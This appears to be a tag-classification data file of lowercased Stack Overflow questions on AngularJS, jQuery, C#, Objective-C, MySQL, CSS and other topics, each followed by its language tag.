angularjs. passing service as an argument to directive  i have my own directive:  <code>&lt;form-wrapper&gt;</code>    for now this directive uses its own internal controller that use some <code>service</code> (<code>user</code> service)    like this:    <pre><code> directives.directive( formwrapper   [ user    function(user) {         return {          ...                  controller: function($scope  $location  user) {                      $scope.fields = user.get( {id:  1 }  );              // get         ... </code></pre>   as you can see: i use <strong>hard-coded</strong> service (<code>user</code>).    <strong>question:</strong> how could i pass service as an argument to the directive  to use it like this:   <pre><code>  service = comesfromargument   $scope.fields = service.get( {id:  1 } ) </code></pre>   i guess if i pass service name as string (as service name) it will not help. and passing argument usually happens in <code>link-function</code> but not in the controller.    <strong>update (more explanation)</strong> :    when use <code>directives.directive( formwrapper   [ user    function(user) {</code> the name  user  lead to inject user service  because this it the way how ioc work here i guess. it knows that this is a service. but if i did:    <code>&lt;form-wrapper service= user &gt;</code>  <strong>// this is what i want.</strong>    then   user  will be just a string  not reference to the user service.,angularjs
display image preview instead of text  we are trying to upload an image to our site.   <ol> <li>we click on  <strong>upload image</strong>  button.</li> </ol>   <a href= https://i.stack.imgur.com/kcfpk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kcfpk.png  alt= enter image description here ></a>   <ol start= 2 > <li>then it displays <strong>pop up</strong> box.</li> </ol>   <a href= https://i.stack.imgur.com/zt6hy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zt6hy.png  alt= enter image description here ></a>   <ol start= 3 > <li> then we click on <strong>upload new image</strong> button </li> <li> after that  we will select image from computer &amp; displaying message <strong>image uploaded</strong> </li> </ol>   <a href= https://i.stack.imgur.com/xd2ix.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xd2ix.png  alt= enter image description here ></a>    instead of message  image uploaded   i want to <strong>display preview of uploaded image</strong> as like this <a href= http://jsfiddle.net/lvsyc/  rel= nofollow noreferrer >jsfiddle</a>    code to display message  image uploaded    <pre><code>&lt;input type= file  id= add_image_{{rand}}  class= newcustomimage  name= new_image  value=  /&gt; </code></pre>   <strong>js</strong>   <pre><code>jquery(document).ready(function () {     jquery( body ).delegate( .newcustomimage    change   function () {         if(jquery(this).val()) {             jquery(this).parent().parent().append( &lt;div id= add_image_2508269_success  class= success-message validation-advice &gt; image uploaded.&lt;/div&gt; );         }     }); }); </code></pre>   i did below changes for above code to display  <strong>image preview</strong>  instead of message. now image preview is not displaying after we upload image. instead its displaying like below image before we uploading an image in site.    <a href= https://i.stack.imgur.com/stjvq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/stjvq.png  alt= enter image description here ></a>   <pre><code>&lt;input type= file  id= add_image_{{rand}}  class= newcustomimage  name= new_image  value=  /&gt; &lt;img id= blah  src= http://example.com/media/custom_product_preview/quote  /&gt; </code></pre>   <strong>js</strong>   <pre><code>jquery(document).ready(function () {     jquery( body ).delegate( .newcustomimage    change   function () {         if (jquery(this).val()) {             jquery(this).parent().parent().append( &lt;div id= add_image_2508269_success  class= success-message validation-advice &gt; image uploded.&lt;/div&gt; );    } });  function readurl(input) {      if (input.files &amp;&amp; input.files[0]) {         var reader = new filereader();          reader.onload = function (e) {             $( #blah ).attr( src   e.target.result);         }          reader.readasdataurl(input.files[0]);     } } </code></pre>,javascript
how to animate some portion of images   i am implementing fun application.in which i want to animate some area(portion) of images. i dont know how it possible.if u have any idea then please help me.,iphone
system.badimageformatexception when getting the assemblyversion  so im trying to implement a auto-updater for my application  <a href= https://stackoverflow.com/a/819713/4784140 >from this thread</a>.    i ve uploaded my setup file to my server and when im trying to get the assemblyversion of the file i get system.badimageformatexception  more exactly:   <pre><code>system.badimageformatexception occurred   hresult=0x8007000b   message=det går inte att läsa in filen eller sammansättningen setup1.msi eller ett av dess beroenden. ett försök att läsa in ett program med ogiltigt format gjordes.   source=mscorlib   stacktrace:    at system.reflection.assemblyname.ngetfileinformation(string s)    at system.reflection.assemblyname.getassemblyname(string assemblyfile)    at windowsformsapp1.form1..ctor() in c:\users\gustav\documents\visual studio 2017\projects\windowsformsapp1\windowsformsapp1\form1.cs:line 50    at windowsformsapp1.program.main() in c:\users\gustav\documents\visual studio 2017\projects\windowsformsapp1\windowsformsapp1\program.cs:line 22  inner exception 1: badimageformatexception: det går inte att läsa in filen eller sammansättningen setup1.msi eller ett av dess beroenden. ett försök att läsa in ett program med ogiltigt format gjordes. </code></pre>   i ve read that this is because of an x64 application trying to run a x86 dll  but this shouldn t be the case since it s the exact same application im trying to get the info from    <pre><code>    string remoteuri =  http://&lt;url&gt;/downloads/ ;     string filename =  setup1.msi   mystringwebresource = null;     // create a new webclient instance.     webclient mywebclient = new webclient();     // concatenate the domain with the web resource filename.     mystringwebresource = remoteuri + filename;         mywebclient.downloadfile(mystringwebresource  filename);          if (assemblyname.getassemblyname( setup1.msi ).version &gt; assembly.getexecutingassembly().getname().version)         {             logger.add( update found! );             processstartinfo startinfo = new processstartinfo();             startinfo.filename =  setup1.msi ;             process.start(startinfo);             this.close();         } </code></pre>   my setup is x86 and the application is also x86.,c#
floating list elements to right instead of down  i would like to float list elements to the right using a list (i like the bullet points)  and want to stay away from tables. i would also like to customize the space between the list items  and specify when the list items wrap. for example  3 list items per  row.     example picture:    <img src= https://i.stack.imgur.com/yxeef.png  alt= enter image description here >    how can this be done,html
what is the purpose of the error inside method in objective-c  i started to study objective-c with book recommended here (programming in objective-c) and i have 2 questions:    for example in the method who copy file:   <pre><code>nsstring *path  newpath; nsfilemanager;  if([fm copyitemtopath: path topath newpath error: null] == no) {     mslog(@ the file does not exist ); } </code></pre>  <ol> <li>what is the purpose the error section inside the if and why in the example who taken from book it s null</li> <li>i did not understand the meaning of the no at the and of the if statement</li> </ol>,objective-c
a very scary message from ios  lately i am sometimes getting this very strange message during operation of my app  with no crash. (mainly the app now just get images from the net ) . i thing it has to do with me drawing a rect around image   the message is :   <pre><code>&lt;error&gt;: cgcontextstrokerect: invalid context 0x0. this is a serious error. this application  or a library it uses  is using an invalid context  and is thereby contributing to an overall degradation of system stability and reliability. this notice is a courtesy: please fix this problem. it will become a fatal error in an upcoming update. </code></pre>   the rect drawing :   <pre><code>-(uiimage*)imagewithborderfromimage:(uiimage*)source {      cgsize size = [source size];      uigraphicsbeginimagecontext(size);     cgrect rect = cgrectmake(0  0  size.width  size.height);     [source drawinrect:rect blendmode:kcgblendmodenormal alpha:1.0];      cgcontextref context = uigraphicsgetcurrentcontext();     cgcontextsetrgbstrokecolor(context (255/255.f) (255/255.f) (255/255.f)  1.0);     cgcontextstrokerect(context  rect);     uiimage *testimg =  uigraphicsgetimagefromcurrentimagecontext();     uigraphicsendimagecontext();     return testimg; } </code></pre>,objective-c
php - check if results contain value  i did sql query. i would like to check if the results contain the value  xxx .    is there any php function that support that     i tried  in_array  but it doesn t work.   <pre><code>$stylesquery = mysql_query( select styleid from itins_styles where (itinid = 5) );     $stylesindex = mysql_fetch_array($stylesquery);     if (in_array ( xxx   $stylesindex )) </code></pre>,php
how do i get the list of actions available for a controller   i did <code>mycontroller.methods</code> and it listed everything... things i didn t even know controllers could do!    how do i return the list of actions  such as <code>create</code>  <code>edit</code>  <code>new</code>  <code>destroy</code>  <code>other_action</code>  <code>other_non_protected_or_private_method</code>     using ruby on rails 2.3.8,ruby-on-rails
c++ primer exercise 1.5.1 p 1.20  exercise 1.20: <a href= http://www.informit.com/title/032174113  rel= nofollow >http://www.informit.com/title/032174113</a> contains a copy of <code>sales_item.h</code> in the chapter 1 code directory. copy that file to your working directory. use it to write a program that reads a set of book sales transactions  writing each transaction to the standard output.    the link it provides does not work  so i downloaded <code>sales_item.h</code> from another website.   <pre><code> #include &lt;iostream&gt;  #include  sales_item.h    int main()  {      sales_item sales_item;      while (std::cin &gt;&gt; sales_item)      {      std::cout &lt;&lt; sales_item &lt;&lt; std::endl;    }      return 0;    } </code></pre>   the error says <code>sales_item.h : **no such file or directory found**</code>.  edit - i am using windows 7 os and codeblocks as ide .,c++
how to get first datagridview s cell value if it is not selected   i want to take first datagridview s value without to use selection mode:fullselectedrow. the example below doesnt work.   <pre><code>messagebox.show(appointmentgrid.selectedrows[0].cells[0].value.tostring()); </code></pre>   i get this error: an unhandled exception of type  system.argumentoutofrangeexception,c#
pop for request access to contacts not show ios 9  i m fetching contacts from address book but popup not show to ask permission to access contacts. it automatically denied but when i try same code in a demo then it run properly but it ddi not run in my app. i have read many articles but i did not get any solution. is i m missing something in plist or settings.   <pre><code>cncontactstore * contactstore = [[cncontactstore alloc]init];      if ([cncontactstore authorizationstatusforentitytype:cnentitytypecontacts] == cnauthorizationstatusnotdetermined) {         [contactstore requestaccessforentitytype:cnentitytypecontacts completionhandler:^(bool granted  nserror * __nullable error) {              if (granted==yes)             {               }             else             {                 nslog(@ error );             }         }];     } </code></pre>   or second methods   <pre><code> cferrorref error = nil;     abaddressbookref addressbook = abaddressbookcreatewithoptions(null  &amp;error);      if (abaddressbookgetauthorizationstatus() == kabauthorizationstatusnotdetermined) {      abaddressbookrequestaccesswithcompletion(addressbook  ^(bool granted  cferrorref error)      {          if (error)          {              nslog(@ error %@   error);          }          else if (granted)          {  }          cfrelease(addressbook);      });      } </code></pre>,ios
add my own index.html to web browser in visual studio 2012  i ve written a simple index.html file my self. i would like to add it to my c# windows form application on a web browser.    i m unclear on how to do that.    any advice or example code i may look at will be greatly appreciated.,c#
view with wrong height (same as parent)  i extended the <code>uiview</code> class to create an overlay load screen.   <hr>   fullloadingview.h   <pre><code>#import &lt;uikit/uikit.h&gt;  @interface fullloadingview : uiview  + (instancetype)showonview:(uiview *)view; + (void)hideall:(uiview *)view;  - (void)hide;  @end </code></pre>  <hr>   fullloadingview.m   <pre><code>#import  fullloadingview.h   @implementation fullloadingview  + (instancetype)showonview:(uiview *)view {     fullloadingview *fullloadingview = [[self alloc] init];     [fullloadingview setframe:view.bounds];     [fullloadingview setbackgroundcolor:[uicolor colorwithred:(250.0/255.0) green:(250.0/255.0) blue:(250.0/255.0) alpha:1.0]];      uiactivityindicatorview *activityindicatorview = [[uiactivityindicatorview alloc] initwithactivityindicatorstyle:uiactivityindicatorviewstylegray];     activityindicatorview.center = fullloadingview.center;     [activityindicatorview startanimating];      [view addsubview:fullloadingview];      return fullloadingview; }  - (void)hide {     [self removefromsuperview]; }  + (void)hideall:(uiview *)view {     nsenumerator *subviewsenum = [view.subviews reverseobjectenumerator];     for (uiview *subview in subviewsenum) {         if ([subview iskindofclass:self]) {             fullloadingview *fullloadingview = (fullloadingview *)subview;             [fullloadingview removefromsuperview];         }     } }  @end </code></pre>  <hr>   <em>uiviewcontroller code:</em>   <pre><code>- (void)viewdidload {     fullloadingview *fullloadingview = [fullloadingview showonview:self.view]; } </code></pre>   <strong>issue:</strong> when the <code>uiviewcontroller</code> has <code>navigationbar</code> or <code>tabbar</code> the central alignment of the <code>uiactivityindicatorview</code> is not correct.    ps: the <code>self.view</code> has the correct height (excluding<code>navigationbar</code> or <code>tabbar</code>) but<code>fullloadingview</code> always has full height of the device.    <a href= https://i.stack.imgur.com/ls1kz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ls1kz.png  alt= inserir a descrição da imagem aqui ></a>,objective-c
ios audio mixing  when mixing two audio files  this piece of code shows one sound is treated as stereo sound and the other one is treated as mono  why is that   why can t both of them are treated as stereo    <pre><code> @property (readwrite)           audiostreambasicdescription stereostreamformat;  @property (readwrite)           audiostreambasicdescription monostreamformat; </code></pre>   the checking of audio file is such.   <pre><code> if ((inputdataformat.mformatid == kaudioformatlinearpcm) &amp;&amp;     (inputdataformat.msamplerate == 44100.0) &amp;&amp;     (inputdataformat.mchannelsperframe == 2) &amp;&amp;     (inputdataformat.mchannelsperframe == 2) &amp;&amp;     (inputdataformat.mbitsperchannel == 16) &amp;&amp;     (inputdataformat.mformatflags == (kaudioformatflagsnativeendian |                                       kaudioformatflagispacked | kaudioformatflagissignedinteger))     ) {     // no-op when the expected data format is found } else {     status = kaudiofileunsupportedfiletypeerror;     goto reterr; } </code></pre>   why is the no-op condition triggered when that data format is encountered,ios
capture error from command while using execvp(cmd  args) <pre><code>p = fork; if (p == 0){    execvp(args[0]  args); } else {    wait(&amp;status); } </code></pre>   if the command given returns an error  how do i print this out  for example if i gave execvp the command  ls -8  how do i have it print to standard out    ls: invalid option --  8,c
fixed number field in mysql  i am trying to set the studentid field so that it can only accept 8 digits.  i know that i can t do this with check constraints because my sql won t accept it.    also how would i set a field so that it cannot accept a number that is less than one in the eventid field     ok.  so  from the link i was given i have tried to make a trigger.  would this be accurate   i am unsure of the syntax or why there are so many semi colons in one statement.  i also assume i would need a trigger for every table containing studentid  thank you   <pre><code>create table student ( studentid       numeric(8) not null  password        char(15)   not null  constraint studentstudid_pri_key primary key(studentid));  create trigger stud_id_trig before insert on student for each row begin  declare numlength int; set numlength = (select length(new.studentid));  if (numlength = 8 ) then set new.col = 1/0; end if; end; </code></pre>   can someone explain to me what the set new.col = 1/0; means,mysql
replacing words in a list occuring in a text with words in another list <pre><code>position_list = [ front    frnt    ft    back    bck    behind    right    rhs ]  position = [ down    right    inner    front    top    back    left ] </code></pre>   these are the two lists i m working on in python. for a given text if any of the words in position_list occurs  it must be replaced with  specific words in position.    i.e text is :  the frnt tyre and bck tyre are worn out     the  frnt  and  bck  must be replaced with  front  and  back  respectively.    the python code i used is:   <pre><code>if wrong ==  frnt  or wrong ==  ft : </code></pre>   str = str.replace(wrong  front )   <pre><code>if wrong ==  bck  or wrong ==  behind : </code></pre>   str = str.replace(wrong  back )    but i m looking for python codes which directly replaces words using these lists.,python
how to pass a value to check_box in rails4  i am using rails 4 and ruby 2. i want to pass a value in the check_box. if i checked it  then it should take value =3 else  select_medicalcenter  will be displayed and :medical_center_id can be selected from there. i did this and its not working.   <pre><code>&lt;div id = display_box  &gt; &lt;%= f.label :assoiated_to_none %&gt; &lt;%= f.check_box :medical_center_id  { checked: true }  3  :onchange=&gt; $( #select_medicalcenter ).show(); %&gt; &lt;/div&gt; &lt;div id= select_medicalcenter  style= display:none; &gt;&lt;%= f.label :medical_center %&gt;&lt;br /&gt; &lt;%= f.collection_select :medical_center_id medicalcenter.all :id :name :prompt=&gt;true%&gt; &lt;/div&gt; </code></pre>,ruby-on-rails
var char in js not working  deleted this post due to change,javascript
socket send/receive simultaneously  can any one point out the reason why u cant send and receive on a socket at the same time      to my understanding there are 2 streams one to push and one to pull     if you attempt to send/receive simultaneously you will get wasealready error     what is the reason that the socket throws wasealready error (10035)  does it have any thing to do with the ack window the receiving side sends back   as if to keep the line open for the window,c#
value outside of function is different from value inside function  in this elementary code  i check if a record exists with a particular itemid for a particular user and country.    the record returns <code>1</code> inside the function  but when it s outside  it s something totally different.   <pre><code>function recordexists(&amp;$d) {     global $conn  $userid  $usercountrycode;      $sqlfindrecord =  select count(itemid) as recordcount from onr_items_mod where itemtempid = :itemtempid and itemstatus in(0 5 8) and itempublishedstatus = 2 and itemuserid = :userid and itemusercountrycode = :usercountrycode ;      $countrecord = $conn-&gt;prepare($sqlfindrecord);      $countrecord-&gt;execute(array(          :itemtempid  =&gt; $d           :userid  =&gt; $userid           :usercountrycode  =&gt; $usercountrycode     ));      $countrecord-&gt;bindcolumn( recordcount  $d);      echo  this is d  .$d.  --- ;      $row = $countrecord-&gt;fetch();      if($d == 0) {         return $d;     } elseif ($d == 1) {         return $d;     } else {         return false;     } }  $d =  us01   if(recordexists($d) == 0) { //if the function returned 0     echo $d;     echo  was zero ; } elseif (recordexists($d) == 1) { //if the function returned 1     echo $d;     echo  was one ; } else {     echo $d;     echo  neither zero or one ; } </code></pre>   after i do the above  it s always  neither zero or one . why is this  i tried the entire morning  but just cannot figure a way to sort this out.    <strong>this works  but not the above</strong>   <pre><code>function counter(&amp;$a) {     if($a == 0) {         return $a;     } elseif ($a == 1) {         return $a;     } else {         return false;     } }  $a = 1;  if(counter($a) == 0) {     echo $a; } elseif (counter($a) == 1) {     echo $a; } else {     echo  umm... .$a; } </code></pre>,php
firing the onclick event for a specific href  in the code of my page there are many href. i want to execute the onclick function for a specific href:   <pre><code>&lt;div style= font-size: 11px; width: 90px; &gt; text &lt;a href= http://www.domain.com/example  target= _blank &gt; click here &lt;/a&gt;&lt;/div&gt; </code></pre>   general option:   <pre><code>$( a ).on( click   function(variable) {} </code></pre>,jquery
how do i implement configuration screen in a ios app using swift   i m new in developing ios apps and i would like to know how can i implement views that appear only on first launch were the user can select his/her own language and nickname before starting the app  i try using navigation controller in my storyboard but no positive respond.     thanks,ios
how to vertically align nested list  i ve two nested list:   <pre><code>&lt;ul&gt;     &lt;li&gt;first item         &lt;ul&gt;             &lt;li&gt; &lt;a href= # &gt;some item&lt;/a&gt;              &lt;/li&gt;             &lt;li&gt; &lt;a href= # &gt;some item&lt;/a&gt;              &lt;/li&gt;             &lt;li&gt; &lt;a href= # &gt;some item&lt;/a&gt;              &lt;/li&gt;         &lt;/ul&gt;     &lt;/li&gt;     &lt;li&gt;second item         &lt;ul&gt;             &lt;li&gt; &lt;a href= # &gt;some item&lt;/a&gt;              &lt;/li&gt;             &lt;li&gt; &lt;a href= # &gt;some item&lt;/a&gt;              &lt;/li&gt;             &lt;li&gt; &lt;a href= # &gt;some item&lt;/a&gt;              &lt;/li&gt;         &lt;/ul&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   i want my first list level was horizontally aligned  and the second one s vertically aligned.    i tried the css :   <pre><code>ul &gt; li {    display: inline-block; } </code></pre>   but it also apply to the second level (a <a href= http://jsfiddle.net/rdebb/301/  rel= nofollow >fiddle</a>). how can i do      nb : i also notice that bullet disappears...,css
play sound in method when the method have a multiple calls  i need to play a keyboard sound effect when user touch in button.    but the problem is when the user tap 3 time in the button the     playtypingsound method call 3 time but i hear the typing sound effect once.    i do not want to use apple s keyboard sound    this is my method:   <pre><code>-(void)playtypingsound { nsurl *soundurl = [nsurl fileurlwithpath:[[nsbundle mainbundle] pathforresource:@ typing  oftype:@ mp3 ]]; typingsound = [[avaudioplayer alloc] initwithcontentsofurl:soundurl error:nil]; typingsound.volume = 0.05; [typingsound play]; } </code></pre>   <a href= http://puu.sh/gbhkf/2f271d8804.png  rel= nofollow noreferrer >http://puu.sh/gbhkf/2f271d8804.png</a>,objective-c
display message in a label before download popup shown   i have a following code:   <pre><code>lblinfomessage.text =  successful ;  httpcontext.current.response.clear(); httpcontext.current.response.bufferoutput = false; httpcontext.current.response.contenttype =  application/zip ; httpcontext.current.response.addheader(       content-disposition        string.format( attachment; filename={0}   zipfilename));  // code to generate a file  httpcontext.current.response.flush(); httpcontext.current.response.end(); </code></pre>   and this page is only show a popup to download a file i generated but i also need a message shown in label lblinfomessage.,asp.net
i want to extend an existing dictionary with a for loop through a list  i ve simplified my code to illustrate what i m trying to do. i have a list of something  and in that list are also my keys to a dictionary. i m trying to do a for loop that takes each element in the list  runs a function on that element  and then i want to extend my dictionary with what returned from the function. what am i doing wrong here    <pre><code>student_list = [ whitney    jason ] first_dict = { whitney : math    jason : biology }  def schedule(student):     b =  science      c =  social studies      d =  gym      e =  lunch   for student in student_list:     schedule(student)     first_dict[student].append([b  c  d  e]) </code></pre>   my error is: <code> str  object has no attribute  append </code>    though i m sure i m doing something else wrong.,python
capturing datagrid cell header click  i just want to check if a click is made in an datagrid whether the click is made on a header r on a cell content.    i am facing a problem when...    when cell is clicked i am manipulating with the data. but if the header is clicked for sorting  same cell click event is triggered.    how can i stop this,.net
android 9-patch not working as expected  i m trying to use a 9-patch png for a spinner  but the image isn t stretching as expected. i used android asset studio.    here s what the spinner looks like: <a href= http://i.imgur.com/moxcccq.jpg 1  rel= nofollow >http://i.imgur.com/moxcccq.jpg 1</a>    and here s what the 9-patch looks like: <a href= http://i.imgur.com/gd6ywau.png  rel= nofollow >http://i.imgur.com/gd6ywau.png</a>    the placement of the image is correct (it should be in the bottom right of the spinner)  but i m not sure why the color distortion is occurring (i want the entire spinner to be white).     any suggestions  thanks.,android
iphone: how to take a picture programmatically without buttons or displaying extra views   this question or similar has been asked before but from the responses i saw none answered the questions sufficiently. i ll describe what i m trying to do and i m basically looking to see if it is possible  and if so  a suggested approach would be much-appreciated.    i d like to take a picture from the iphone that is triggered with a gesture (e.g. a tap or swipe) and not a button press (via takepicture ). i m aware of the ability to capture the contents of the screen and save that  but the resolution is much lower than that acquired through the actual camera. following the taking of a picture i don t want any views to appear (like the image picker).     so in summery  a user would experience the following sequence of events: they are presented with a live camera view  they swipe their finger (a picture is taken) and the screen immediately returns to the live view. i ve been able to accomplish this using the uiimagepickercontroller and uigetscreenimage  but like i specified earlier  i d like to acquire an image of the highest resolution possible.    thanks!,iphone
how do i override tr with an element inside td with css   i have this table that i want to change color when hovered  but will also change different color when a link is inside the td.    <pre><code>&lt;table&gt;     &lt;tr&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;         &lt;td&gt;hovering this part will make the whole tr bgcolor red&lt;/td&gt;         &lt;td&gt;             &lt;a&gt;hovering this link will make whole tr bg color blue&lt;/a&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   i ve tried in css   <pre><code>table tr:hover:not(table td a) {     background-color: red !important; }  table tr:hover{      background-color: blue; } </code></pre>   but i have no luck. is this possible without using javascript/jquery,css
extract image src value from special div in html file using php  i have a html file with test.htm name and with following code:   <pre><code>&lt;div&gt;&lt;/div&gt;  &lt;div&gt; &lt;div class= body &gt; &lt;div&gt; &lt;a href= login.php &gt;&lt;img src= ./lklk_files/81755_236.jpg &gt;&lt;/a&gt; &lt;/div&gt;   &lt;div class= wrapper &gt;&lt;/div&gt;   &lt;/div&gt;  &lt;div class= photo-holder &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   i want to extract img src value only from div with class attribute with  body  attribute value  i use below php code:   <pre><code>&lt; php  $f =  test.htm ; $doc = new domdocument(); $doc-&gt;loadhtmlfile($f); $xpath = new domxpath($doc);  $nodelist = $xpath-&gt;query( //div ); foreach($nodelist as $node) if($node-&gt;getattribute( class ) ==  body ){ $s = $node-&gt;nodevalue; $doc2 = new domdocument(); $doc2-&gt;loadhtml($s); $xpath2 = new domxpath($doc2); $img = $xpath2-&gt;query( //img ); foreach($img as $g) echo $g-&gt;attributes-&gt;getnameditem( src )-&gt;nodevalue; }  &gt; </code></pre>   but when run it  say your $s is a blank string.where of my code is wrong,php
how to avoid click on parent by clicking on child  <pre><code>&lt;div class= titlewrap &gt; &lt;div class= title &gt;lorem ipsum&lt;/div&gt; &lt;div class= title &gt;lorem ipsum&lt;/div&gt; &lt;div class= title &gt;lorem ipsum&lt;/div&gt; &lt;br&gt;&lt;br&gt; &lt;/title&gt; </code></pre>   i want to separate right click on <code>titlewrap</code> vs <code>title</code>.    <strong>js</strong>   <pre><code>$(document).on( contextmenu    .titlewrap   function(e) {     e.preventdefault();     console.log( titlewrap ); });  $(document).on( contextmenu    .title   function(e) {     e.preventdefault();     console.log( title ); }); </code></pre>   click on <code>title</code> gives double console result:<br> <code>titlewrap</code><br> <code>title</code>    how to get only <code>title</code> by clicking on <code>title</code> and  keep <code>titlewrap</code> clicking on <code>titlewrap</code> (empty space below <code>title</code>),javascript
how to share or post by mail  twitter and facebook from the current application   i am implementing an application from which i have to share that applications on facebook  <a href= http://en.wikipedia.org/wiki/twitter  rel= nofollow >twitter</a> as well as by mail. as my application is not a game  i just want to put an application icon  application name  itunes link of that application and a small description of the application. i have implemented code which allow me to send a mail with attachment. is that useful here  how can i do this,iphone
uinaviagtionbar not displaying   i developing an application in which initially choose uinavigationcontroller based application. in rooviewcontroller xib i added two more uiview  the code is written as follows.    @implementation rootviewcontroller @synthesize introductionview  wheelview;   <ul> <li>(void)viewdidload { [super viewdidload]; [self.navigationcontroller setnavigationbarhidden:yes]; }</li> </ul>  <h1>pragma mark</h1>  <h1>pragma mark strart up screen:</h1>   -(void)startintroductionscreen{     if(window == nil) {         window = [[uiwindow alloc] initwithframe:cgrectmake(0  0  320  480)];     }     [window addsubview: introductionview];     [window makekeyandvisible];  }    -(void)wheelscreen{     [window addsubview:carnivalwheelview];     [window makekeyandvisible];      self.navigationcontroller.navigationbar.hidden = no;<br>     [self.navigationitem setleftbarbuttonitem:[[uibarbuttonitem alloc] initwithtitle:@ setting  style:uibarbuttonitemstyleplain target:nil action:nil] animated:yes]; }   <h1>pragma mark</h1>  <h1>pragma mark ibaction:</h1>   -(ibaction)breakglass:(id)sender{     [self startintroductionscreen]; }    -(ibaction)anotherview:(id)sender{     [self wheelscreen]; }    in above code  when the -(void)wheelscreen method on the ibaction anotherview of  invoke the uinaviagtionbar is not displaying.     thank s in advance.,iphone
jquery + ruby on rails repeating code  i have the following jquery method:   <pre><code>(function($){   $(document).ready(function() {       $( select[name= publication_type[category] ]  ).change(function (){           alert( it works );         });      }); })(jquery); </code></pre>   it operates on the following ruby code:   <pre><code>select( publication_type    category   @filters.selections.collect(&amp;:name)  :id =&gt; publication_type  )  </code></pre>   each time i choose a different option from the drop down box  the alert method fires twice. the intention is that it should only fire once. any ideas     thanks in advance...,jquery
how to take screen shot from camera view   friends and sirs    thanks for taking time for me.    i want to take screen shots in app.    now i;m trying to use following codes.   <pre><code>- (uiimage *)captureview:(uiview *)view {     cgrect screenrect = [[uiscreen mainscreen] bounds];      uigraphicsbeginimagecontext(screenrect.size);      cgcontextref ctx = uigraphicsgetcurrentcontext();     [[uicolor blackcolor] set];     cgcontextfillrect(ctx  screenrect);      [view.layer renderincontext:ctx];      uiimage *newimage = uigraphicsgetimagefromcurrentimagecontext();      uigraphicsendimagecontext();      return newimage; } </code></pre>   but problem is that it only takes black screens when i am on camera mode.    this above code works perfectly in other views excepting camera view.    i want to take screen shots of camera view.    simply i can use <code>uigetscreenimage</code> to get screen shot of camera view  but this is non-public api and if i use this then the app can t upload to appstore on xcode 4.3.    how can i do that     any idea for this     if then this will be great help for me.    thanks again.,ios
sql query unique equipment list  thanks in advance for having a look. i have no idea on how to search for this. picture 2 test stations  each with a rack of equipment that must be kept calibrated. the equipment is identified by stationid  eqpartno  and eqlocation. location instead of serial number so it is unit replaceable.    from 2 tables:    station_events (eventid is auto  recupdated is auto)   <pre><code> stationeventid   stationid   stationevent   recupdated  1  1   databasecreation  2014-05-14 07:51:25 am 2  55   databasecreation  2014-05-14 07:51:25 am 3  1   updatecal  2014-05-14 08:11:26 am 4  1   updatecal  2014-05-14 08:11:59 am 5  1   updatecal  2014-05-14 08:48:26 am </code></pre>   equipment (equipmentid is auto  recupdated is auto  linked by equipmentid)   <pre><code> equipmentid   stationeventid   eqpartno   eqlocation   eqcalexpires   eqrecupdated  1 1  eq1   loc1  2000-01-31 2014-05-14 07:53:59 am 2 1  eq2   loc2  2000-02-22 2014-05-14 08:05:52 am 3 3  eq1   loc1  2014-04-04 2014-05-14 08:13:37 am 4 4  eq2   loc2  2014-04-05 2014-05-14 08:14:25 am 5 5  eq1   loc1  2014-04-05 2014-05-14 08:47:04 am </code></pre>   the query is to form a view of station 1 equipment consisting of the latest record for each of the installed units to verify cal.   <pre><code>select e.* from equipment e inner join station_events se on se.stationeventid=e.stationeventid where se.stationid= 1  group by eqpartno eqlocation </code></pre>   the results look good.   <pre><code> equipmentid   stationeventid   eqpartno   eqlocation   eqcalexpires   eqrecupdated  5 5  eq1   loc1  2014-04-05 2014-05-14 08:47:04 am 4 4  eq2   loc2  2014-04-05 2014-05-14 08:14:25 am </code></pre>   have i just created a lucky hack  or is this correct  i like this because we have calibration history as long as the view is guaranteed to describe all the latest equipment records.    best regards  jim shedden,sql
detect android another application launch event  i am working on an application and i need to be able to have a service that can detect when applications are opened  and take action based on that.    i have looked everywhere  and have not found a way to do so. i have read documentation on broadcast receivers  intent handlers  and i found nothing.    i did however  find an app that can do so - app protector. it allows password protecting certain applications.    can anybody please point me in the right direction     i found detect application launch but its working below api 12. thanks!,android
writing sql query for a given combination of letters  i want to write a sql query wherein the fourth letter should be <code> x </code> and there should be <code> m </code> anywhere in the whole word. i am having a list of over 5000 words.    i tried the command    <pre><code>where name like  ___x%m%  </code></pre>   but that would only give me those where <code>x</code> is the fourth letter and there is m after x  but how to find those names which have <code>x</code> as fourth letter and have <code>m</code> coming before <code>x</code>,sql
should custom controls be used to manage form complexity   in general  i am wondering when to use custom controls vs integrating the control directly into your form.     in particular  i have a form that contains a tab page  with 6 tabs each containing a number of .net framework controls. currently  i have in my project 6 user defined controls that i dock onto each of those tab pages.  i.e. there is no reuse of controls  i just use them to manage the complexity of a form that would otherwise contain 10 gridviews  20 buttons  6 date controls  etcetera. would you consider this a good way to manage this complexity  or would other alternatives be better (in enabling the programmer to understand what is going),c#
one column as two columns  i have a table which will displays user ids in one column. i want to display that column as two columns    for example:   <ul> <li>in first row  first user id in column 1 and second user id in column2 </li> <li>in second row   second user id in column 1 and third user id in column2 </li> <li>in third row  third user id in column 1 and fourth user id in column2 </li> </ul>   and so on.,sql
